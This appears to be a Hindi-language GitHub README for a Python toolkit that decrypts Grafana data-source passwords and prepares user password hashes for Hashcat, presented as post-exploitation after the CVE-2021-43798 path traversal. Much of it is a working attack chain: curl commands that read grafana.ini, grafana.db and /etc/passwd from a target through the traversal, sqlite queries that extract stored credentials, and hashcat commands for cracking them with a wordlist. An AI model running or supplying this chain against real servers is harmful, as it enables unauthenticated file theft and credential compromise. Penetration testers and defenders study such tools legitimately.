
Grafana डेटाबेस से AES-256 डिक्रिप्ट करने और PBKDF2 पासवर्ड क्रैक करने के लिए Python टूलकिट, जो आमतौर पर (CVE-2021-43798) के साथ जोड़ा जाता है।
ग्राफ़ाना पासवर्ड को कई प्रारूपों से डिक्रिप्ट और क्रैक करने के लिए पायथन टूलकिट।
कोड द्वारा: strikoder
ग्राफ़ाना पासवर्ड स्टोरेज के दो प्रकार को संभालता है:
CVE-2021-43798 पथ ट्रैवर्सल के बाद पोस्ट-एक्सप्लॉइटेशन के लिए उपयुक्त।
Grafana संस्करणों 8.0.0-beta1 से 8.3.0 में एक पथ ट्रैवर्सल भेद्यता जो बिना प्रमाणीकरण के हमलावरों को सर्वर से मनमानी फ़ाइलें पढ़ने की अनुमति देती है, जिनमें शामिल हैं:
/etc/grafana/grafana.ini)/var/lib/grafana/grafana.db)/etc/passwd)शोषण उदाहरण:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
यह टूलकिट डेटाबेस से निकाले गए पासवर्ड को डिक्रिप्ट/क्रैक करके हमले की श्रृंखला को पूरा करता है।
data_source तालिका से AES-256 एन्क्रिप्टेड पासवर्ड को डिक्रिप्ट करता है।
आधारित: jas502n/Grafana-CVE-2021-43798 पर मुख्य सुधारों के साथ:
पासवर्ड क्रैकिंग के लिए user तालिका से Grafana PBKDF2_HMAC_SHA256 हैश को Hashcat-संगत प्रारूप में रूपांतरित करता है।
श्रेय: iamaldi/grafana2hashcat
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
python3 AESDecrypt.py -f hashes.txt
Grafana कॉन्फ़िग से गुप्त कुंजी निकालें:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
python3 grafana2hashcat.py grafana_hashes.txt
इनपुट प्रारूप (grafana_hashes.txt):
hash1,salt1
hash2,salt2
hash3,salt3
आउटपुट (Hashcat के लिए तैयार):
sha256:10000:base64_salt:base64_hash
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
# 1. grafana.ini से गुप्त कुंजी निकालें (कुछ मामलों में खाली हो सकती है, उस स्थिति में पायथन प्रोग्राम में डिफ़ॉल्ट कुंजी का उपयोग करें)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. डेटाबेस डाउनलोड करें
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. data_source तालिका से AES-एन्क्रिप्टेड पासवर्ड निकालें
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. पासवर्ड को फ़ाइल में सहेजें (प्रति पंक्ति एक)
# उदाहरण: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. निकाली गई गुप्त कुंजी से डिक्रिप्ट करें
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
# 0. डेटाबेस डाउनलोड करें
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. user तालिका से PBKDF2 पासवर्ड हैश निकालें
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. grafana2hashcat के लिए हैश को फ़ॉर्मेट करें (hash,salt फ़ॉर्मेट)
# grafana_hashes.txt में उदाहरण फ़ॉर्मेट:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. Hashcat फ़ॉर्मेट में रूपांतरित करें
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. Hashcat से क्रैक करें (मोड 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
⭐ क्या यह उपयोगी लगा? इसे स्टार दें!
कोड द्वारा strikoder
| पासवर्ड प्रकार | डेटाबेस तालिका | प्रारूप | उपकरण | Hashcat मोड |
|---|
| AES-256 एन्क्रिप्टेड | data_source | Base64 स्ट्रिंग | AESDecrypt.py | N/A (सीधा डिक्रिप्ट) |
| PBKDF2_HMAC_SHA256 | user | हेक्स हैश + सॉल्ट | grafana2hashcat.py | -m 10900 |